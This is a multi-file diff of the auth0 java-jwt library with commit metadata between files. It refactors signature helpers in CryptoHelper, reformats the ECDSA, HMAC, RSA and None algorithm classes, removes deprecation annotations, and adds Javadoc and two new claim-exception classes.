+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
-
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(headerBytes);
@@ -130,79 +140,66 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
     }
 
     /**
-     * Verify signature.
+     * Create signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return true if signature is valid.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
+     * @param headerBytes  JWT header.
+     * @param payloadBytes JWT payload.
+     * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    @Deprecated
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
+    byte[] createSignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        final Mac mac = Mac.getInstance(algorithm);
+        mac.init(new SecretKeySpec(secretBytes, algorithm));
+        mac.update(headerBytes);
+        mac.update(JWT_PART_SEPARATOR);
+        return mac.doFinal(payloadBytes);
     }
 
     /**
      * Create signature.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    @Deprecated
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
+    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes)
+            throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
         return mac.doFinal(contentBytes);
     }
 
-    /**
-     * Verify signature using a public key.
-     *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
-     */
-
-    @Deprecated
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initVerify(publicKey);
-        s.update(contentBytes);
-        return s.verify(signatureBytes);
-    }
-
     /**
      * Create signature using a private key.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
 
-    @Deprecated
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] contentBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(contentBytes);u      }(jG  (b30460974099b5c16c1fb5eba7f52f08f156245bj  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  Kj  Kj  K0j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X!  @@ -25,7 +25,8 @@ class ECDSAAlgorithm extends Algorithm {
     private final int ecNumberSize;
 
     //Visible for testing
-    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -35,7 +36,8 @@ class ECDSAAlgorithm extends Algorithm {
         this.ecNumberSize = ecNumberSize;
     }
 
-    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         this(new CryptoHelper(), id, algorithm, ecNumberSize, keyProvider);
     }
 
@@ -48,12 +50,14 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
                 throw new IllegalStateException("The given Public Key is null.");
             }
             validateSignatureStructure(signatureBytes, publicKey);
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException | IllegalArgumentException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalStateException | IllegalArgumentException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -73,7 +77,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             ECPrivateKey privateKey = keyProvider.getPrivateKey();
@@ -119,25 +122,27 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         offset++;
 
         //Obtain R number length (Includes padding) and skip it
-        int rLength = derSignature[offset++];
-        if (rLength > ecNumberSize + 1) {
+        int rlength = derSignature[offset++];
+        if (rlength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int rPadding = ecNumberSize - rLength;
+        int rpadding = ecNumberSize - rlength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-rPadding, 0), joseSignature, Math.max(rPadding, 0), rLength + Math.min(rPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-rpadding, 0),
+                joseSignature, Math.max(rpadding, 0), rlength + Math.min(rpadding, 0));
 
         //Skip R number and 0x02
-        offset += rLength + 1;
+        offset += rlength + 1;
 
         //Obtain S number length. (Includes padding)
-        int sLength = derSignature[offset++];
-        if (sLength > ecNumberSize + 1) {
+        int slength = derSignature[offset++];
+        if (slength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int sPadding = ecNumberSize - sLength;
+        int spadding = ecNumberSize - slength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-sPadding, 0), joseSignature, ecNumberSize + Math.max(sPadding, 0), sLength + Math.min(sPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-spadding, 0), joseSignature,
+                ecNumberSize + Math.max(spadding, 0), slength + Math.min(spadding, 0));
 
         return joseSignature;
     }
@@ -147,7 +152,7 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
      * This method ensures the signature's structure is as expected.
      *
      * @param joseSignature is the signature from the JWT
-     * @param publicKey public key used to verify the JWT
+     * @param publicKey     public key used to verify the JWT
      * @throws SignatureException if the signature's structure is not as per expectation
      */
     // Visible for testing
@@ -164,16 +169,14 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
         // get R
         byte[] rBytes = new byte[ecNumberSize];
         System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
-        BigInteger r = new BigInteger(1, rBytes);
-        if(isAllZeros(rBytes)) {
+        if (isAllZeros(rBytes)) {
             throw new SignatureException("Invalid signature format.");
         }
 
         // get S
         byte[] sBytes = new byte[ecNumberSize];
         System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
-        BigInteger s = new BigInteger(1, sBytes);
-        if(isAllZeros(sBytes)) {
+        if (isAllZeros(sBytes)) {
             throw new SignatureException("Invalid signature format.");
         }
 
@@ -189,13 +192,15 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
         }
 
         BigInteger order = publicKey.getParams().getOrder();
+        BigInteger r = new BigInteger(1, rBytes);
+        BigInteger s = new BigInteger(1, sBytes);
 
         // R and S must be less than N
         if (order.compareTo(r) < 1) {
             throw new SignatureException("Invalid signature format.");
         }
 
-        if (order.compareTo(s) < 1){
+        if (order.compareTo(s) < 1) {
             throw new SignatureException("Invalid signature format.");
         }
     }
@@ -252,7 +257,8 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset, Math.min(ecNumberSize, sLength));
+            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset,
+                    Math.min(ecNumberSize, sLength));
         }
 
         return derSignature;u}(jG  (0306e7c420d2ad375f4e0bcddc32a4997c3d22e7j  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -21,7 +21,8 @@ class HMACAlgorithm extends Algorithm {
     private final byte[] secret;
 
     //Visible for testing
-    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes) throws IllegalArgumentException {
+    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (secretBytes == null) {
             throw new IllegalArgumentException("The Secret cannot be null");
@@ -50,7 +51,8 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
             byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-            boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
@@ -69,7 +71,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             return crypto.createSignatureFor(getDescription(), secret, contentBytes);u}(jG  (5c6c0fc5ef0aa48041ee0d054890b1c0fcda781ej  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -3,7 +3,6 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
-
 import java.util.Base64;
 
 class NoneAlgorithm extends Algorithm {
@@ -31,7 +30,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return new byte[0];
     }u}(jG  (0c7a5b579f09c8ecf734431a0ff01862b5a35f0cj  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X&  @@ -24,7 +24,8 @@ class RSAAlgorithm extends Algorithm {
     private final CryptoHelper crypto;
 
     //Visible for testing
-    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider) throws IllegalArgumentException {
+    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -45,17 +46,18 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalArgumentException | IllegalStateException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalArgumentException | IllegalStateException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
         try {
             RSAPrivateKey privateKey = keyProvider.getPrivateKey();
@@ -67,7 +69,7 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
             throw new SignatureGenerationException(this, e);
         }
     }
-    
+
     @Override
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {u}(jG  (d6b71205837f2f4ca262448c55d300ea8559d8f3j  Jlib/src/main/java/com/auth0/jwt/exceptions/AlgorithmMismatchException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XF  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that will be thrown if the exception doesn't match the one mentioned in the JWT Header.
+ */
 public class AlgorithmMismatchException extends JWTVerificationException {
     public AlgorithmMismatchException(String message) {
         super(message);u}(jG  (712e937bd61cfd05e921306fc603a72d4ddffd92j  Glib/src/main/java/com/auth0/jwt/exceptions/IncorrectClaimException.javaj  addedj  K,j  K j  K,j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FIncorrectClaimException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -0,0 +1,44 @@
+package com.auth0.jwt.exceptions;
+
+import com.auth0.jwt.interfaces.Claim;
+
+/**
+ * This exception is thrown when the expected value is not found while verifying the Claims.
+ */
+public class IncorrectClaimException extends InvalidClaimException {
+    private final String claimName;
+
+    private final Claim claimValue;
+
+    /**
+     * Used internally to construct the IncorrectClaimException which is thrown when there is verification
+     * failure for a Claim that exists.
+     *
+     * @param message The error message
+     * @param claimName The Claim name for which verification failed
+     * @param claim The Claim value for which verification failed
+     */
+    public IncorrectClaimException(String message, String claimName, Claim claim) {
+        super(message);
+        this.claimName = claimName;
+        this.claimValue = claim;
+    }
+
+    /**
+     * This method can be used to fetch the name for which the Claim verification failed.
+     *
+     * @return The claim name for which the verification failed.
+     */
+    public String getClaimName() {
+        return claimName;
+    }
+
+    /**
+     * This method can be used to fetch the value for which the Claim verification failed.
+     *
+     * @return The value for which the verification failed
+     */
+    public Claim getClaimValue() {
+        return claimValue;
+    }
+}
\ No newline at end of fileu}(jG  (c5b8eb64a583f7949de874125c5742653f2ba96bj  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XE  @@ -1,8 +1,10 @@
 package com.auth0.jwt.exceptions;
 
-
+/**
+ * The exception that will be thrown while verifying Claims of a JWT.
+ */
 public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);
     }
-}
+}
\ No newline at end of fileu}(jG  (c7e162ea9825bec91520505cfbcabc674d26075ej  Dlib/src/main/java/com/auth0/jwt/exceptions/JWTCreationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when a JWT cannot be created.
+ */
 public class JWTCreationException extends RuntimeException {
     public JWTCreationException(String message, Throwable cause) {
         super(message, cause);u}(jG  (448714e9b1e92cbb590870c8a45d8e6730164983j  Blib/src/main/java/com/auth0/jwt/exceptions/JWTDecodeException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X6  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when any part of the token contained an invalid JWT or JSON format.
+ */
 public class JWTDecodeException extends JWTVerificationException {
     public JWTDecodeException(String message) {
         this(message, null);u}(jG  (dd36dcd331c31c282a00ffd09241f1fcbcb9336ej  Hlib/src/main/java/com/auth0/jwt/exceptions/JWTVerificationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * Parent to all the exception thrown while verifying a JWT.
+ */
 public class JWTVerificationException extends RuntimeException {
     public JWTVerificationException(String message) {
         this(message, null);u}(jG  (3bcc21216ea75527e88e129bde82df58286f0173j  Elib/src/main/java/com/auth0/jwt/exceptions/MissingClaimException.javaj  addedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FMissingClaimException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -0,0 +1,23 @@
+package com.auth0.jwt.exceptions;
+
+/**
+ * This exception is thrown when the claim to be verified is missing.
+ */
+public class MissingClaimException extends InvalidClaimException {
+
+    private final String claimName;
+
+    public MissingClaimException(String claimName) {
+        super(String.format("The Claim '%s' is not present in the JWT.", claimName));
+        this.claimName = claimName;
+    }
+
+    /**
+     * This method can be used to fetch the name for which the Claim is missing during the verification.
+     *
+     * @return The name of the Claim that doesn't exist.
+     */
+    public String getClaimName() {
+        return claimName;
+    }
+}u}(jG  (4b7668a092219d992902413c7ee80d8965088dcaj  Llib/src/main/java/com/auth0/jwt/exceptions/SignatureGenerationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown when signature is not able to be generated.
+ */
 public class SignatureGenerationException extends JWTCreationException {
     public SignatureGenerationException(Algorithm algorithm, Throwable cause) {
         super("The Token's Signature couldn't be generated when signing using the Algorithm: " + algorithm, cause);u}(jG  (fa7c3cabfce64230a893194a8465e12e72a800d6j  Nlib/src/main/java/com/auth0/jwt/exceptions/SignatureVerificationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XA  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown if the Signature verification fails.
+ */
 public class SignatureVerificationException extends JWTVerificationException {
     public SignatureVerificationException(Algorithm algorithm) {
         this(algorithm, null);u}(jG  (42ab090d4c0020ee15245679f0001bf48ae13246j  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X_  @@ -1,10 +1,22 @@
 package com.auth0.jwt.exceptions;
 
+import java.time.Instant;
+
+/**
+ * The exception that is thrown if the token is expired.
+ */
